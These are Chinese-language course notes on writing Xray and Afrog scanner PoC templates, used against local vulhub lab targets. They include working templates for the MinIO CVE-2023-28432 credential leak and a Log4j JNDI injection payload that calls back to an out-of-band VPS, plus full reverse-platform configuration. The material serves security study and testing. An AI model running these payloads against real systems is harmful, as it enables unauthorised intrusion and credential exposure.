深入解析:小迪安全v2023学习笔记(一百零三讲)—— 漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成
文章目录
前记
- 今天是学习小迪安全的第一百零三天,本节课主要内容是其他工具的PoC开发,了解一下如何写PoC,然后熟悉工具的使用
漏洞发现——第一百零三天
漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成
Xray&Afrog - PoC开发-环境配置&编写流程
- 上节课讲了关于Nuclei这款工具的PoC开发,这节课主要是再讲其他两款工具——Xray和Afrog的PoC开发
- 虽然都是使用yaml来开发,但由于每款工具都有它的解析语法,所以也有蛮大的不同,也需要了解一下
- 开发的环境还是VSCode + YAML插件
Xray - PoC开发-数据回显&RCE不回显&实验室
分析PoC执行情况
开发参考文章:
- Xray PoC模板生成:https://poc.xray.cool/
- Xray PoC官方开发文档:https://docs.xray.cool/plugins/practice/poc/Template
- Xray PoC编写参考文章:
分析技巧:配置
config.yaml文件,使用代理转到BP看数据包分析

调试PoC:
.\xray_windows_amd64.exe --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx --html-output xx.html

开发流程
- 其实这里同样,我们可以使用一个官方的PoC模板进行套用,但在此之前,我们简单了解一下Xray的PoC组成:
- 第一部分:名称部分
# 按照标准都是如下名称开头
name: poc-yaml-xxx

- 第二部分:rules: []Rule 脚本部分
set: 定义全局变量
transport: 通信协议
rules:规则,poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string, 作用是判断该条Rule的结果
search: string, 作用是从返回包中提取信息
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包

- 第三部分:信息部分
# 就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
# 包括作者、参考文章、漏洞评级等等
detail: map[string]string

案例1:CVE-2023-28432(匹配结果)
- 这里我们还是用昨天的例子来演示,PoC文章:https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
- 然后我们根据上面说的写出如下PoC:
name: poc-yaml-CVE-2023-28432
transport: http
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
# 设置头部中重要的信息,这里只有这个比较重要,所以只设置这一个即可
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status == 200 && response.body_string.contains("MINIO_ROOT_USER") && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r0()
detail:
author: ulin
links:
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
- 一定要注意缩进,这里是4个空格,否则它无法解析成功!,然后每个地方都要写正确,不然也没办法扫出漏洞!
.\xray_windows_amd64.exe webscan --poc "D:\Download\test\test.yaml" --url http://192.168.0.143:9000 --html-output 1.html

案例2:CVE-2021-44228(无回显匹配)
这个用一个log4j的靶场,就是没有回显的案例,他需要去解析dns网址才能够判断漏洞是否存在
那这种的话,在Xray和其他的漏扫工具中,如果没有配置过反连平台,基本都是扫不出来的,只能在PoC中写死dns地址,然后手工去看哪个网址访问过
那么如何配置这个反连平台呢?参考文章:提升Xray挖洞能力-反连平台部署_xray反连平台-CSDN博客
首先我们需要准备一台服务器和一个域名,然后去官网下载同本地相同版本的xray到服务器上:

然后在服务器上执行如下命令,配置环境:
# 先直接yum安装libpcap-devel:
yum install libpcap-devel
yum -y install mlocate
updatedb
locate libpcap
# 然后配置相关环境:
cd /usr/lib64
ln -s libpcap.so.1.5.3 libpcap.so.0.8
转到
xray目录,赋予其执行权限之后,就可以执行了:
然后根据官方文档,配置一下服务器端的
config.yaml文件,直接复制粘贴过来改一些东西,然后复制进对应位置即可:
# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:
db_file_path: "reverse.db" # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "<自己设置token>" # 反连平台认证的 Token, 独立部署时不能为空
http:
enabled: true
listen_ip: 0.0.0.0
listen_port: "33899"
ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
dns:
enabled: true
listen_ip: 0.0.0.0
domain: "<自己购买的域名>" # DNS 域名配置
is_domain_name_server: true # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
resolve: # DNS 静态解析规则
- type: A # A, AAAA, TXT 三种
record: ns1
value: <VPSIP>
ttl: 60
- type: A # A, AAAA, TXT 三种
record: ns2
value: <VPSIP>
ttl: 60
client:
remote_server: false # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
http_base_url: "http://<VPSIP>:33899/" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
dns_server_ip: "<VPSIP>" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
- 修改完成后,启动反连平台看一下是否配置成功:
./xray reverse
访问
http://VPS的IP地址:33899/cland/如果有页面就说明生效(如果无法连接尝试关闭防火墙、安全组):
接下来配置DNS解析,添加ns1、ns2的A记录,指向VPSIP:

然后配置DNS服务器,位置在 域名控制台 → 域名列表 → 管理 → DNS管理 → 自定义DNS Host:

再修改DNS服务器为刚才创建的两个DNS服务器:

等待大概十多分钟之后,我们进入反连平台的UI管理界面,通过Token登录之后,创建一个DNS域名:

这里可以本地去 ping ping 看有没有生效
到此服务器的配置就结束了,我们接下来配置客户端也就是本地xray的
config.yaml文件,修改之后复制到原本的文件即可:
# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:
db_file_path: "" # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "<与服务器端相同的Token>" # 反连平台认证的 Token, 独立部署时不能为空
http:
enabled: false
listen_ip: 0.0.0.0
listen_port: ""
ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
dns:
enabled: false
listen_ip: 0.0.0.0
domain: "<自己购买的域名>" # DNS 域名配置
is_domain_name_server: false # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
resolve: # DNS 静态解析规则
- type: A # A, AAAA, TXT 三种
record: localhost
value: 127.0.0.1
ttl: 60
client:
remote_server: true # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
http_base_url: "http://<VPSIP>:33899/" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
dns_server_ip: "<VPSIP>" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
- 此时我们vulhub起一个log4j靶场,然后尝试用PoC扫一下:
.\xray_windows_amd64.exe webscan --poc poc-go-apache-log4j2-rce --url http://192.168.0.143:8983/solr/admin/cores?action=123

- 如果我们将配置取消掉的话,就没办法扫出这个漏洞了
Afrog - PoC开发-数据回显&RCE不回显&JNDI注入
开发流程
- 对于Afrog这款工具,它的PoC语法又不太一样,有点Nuclei和Xray结合的味道,开发参考文章:https://github.com/zan8in/afrog/wiki/Usage#pocs
- 如果要对PoC的数据包进行分析,可以设置
--proxy=127.0.0.1:8080参数:
# 去掉CVE-2024-23897是因为它莫名其妙会报错
afrog.exe -proxy http://127.0.0.1:8080 -t http://testphp.vulnweb.com/ -ep CVE-2024-23897

- 然后我们的开发流程:
第一部分:id info 编号 信息(类似nuclei)

第二部分:set rules 变量 脚本(类似xray)

第三部分:expression 判断 执行(类似xray)

案例1:CVE-2023-28432(有回显判断)
- 这个就不用再多说了,直接照着写如下yaml文件即可:
id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
author: ulin
severity: critical
reference:
- https://vulhub.org/#/environments/minio/CVE-2023-28432/
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200 && response.body.bcontains(b"MINIO_ROOT_USER") && response.body.bcontains(b"MINIO_ROOT_PASSWORD")
expression: r0()

案例2:CVE-2021-44228(无回显判断)
无回显可以是dns的,可以是jndi注入的,这里我就直接两个都放一个例子讲了
我们可以打开Afrog的配置文件看看,默认路径为:
$HOME/.config/afrog/afrog-config.yaml:
它是提供了这两种漏洞检测的服务的,我们只需要配置对应的服务器地址即可加以判断
dns
比如我们可以配置dns服务器,这里支持
ceye.io这个平台,我们给他key和地址即可:
他就能够在扫描时去访问这个dns服务器,但是同样,它只能是告诉你可能有漏洞去访问这个dns服务器,我们需要通过抓包然后看发哪些包的时候访问了,然后一个一个看:

jndi
- 同样,这个也是,我们在服务器上起一个jndi服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
然后将信息写到配置文件中:

写一个PoC文件为:
id: solr-log4j-rce
info:
name: Apache Solr Log4j Remote Code Execution
author: xiaodisec
severity: critical
verified: true
created: 2023/10/16
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
expression: reverse.jndi(5)
expression: r0()
它就会成功识别到:

但是这里我没有成功,不知道什么情况,搞不懂,有时候就真的很奇怪,明明是同样的复现流程,有时候行有时候又不行,哎,头痛
浙公网安备 33010602011771号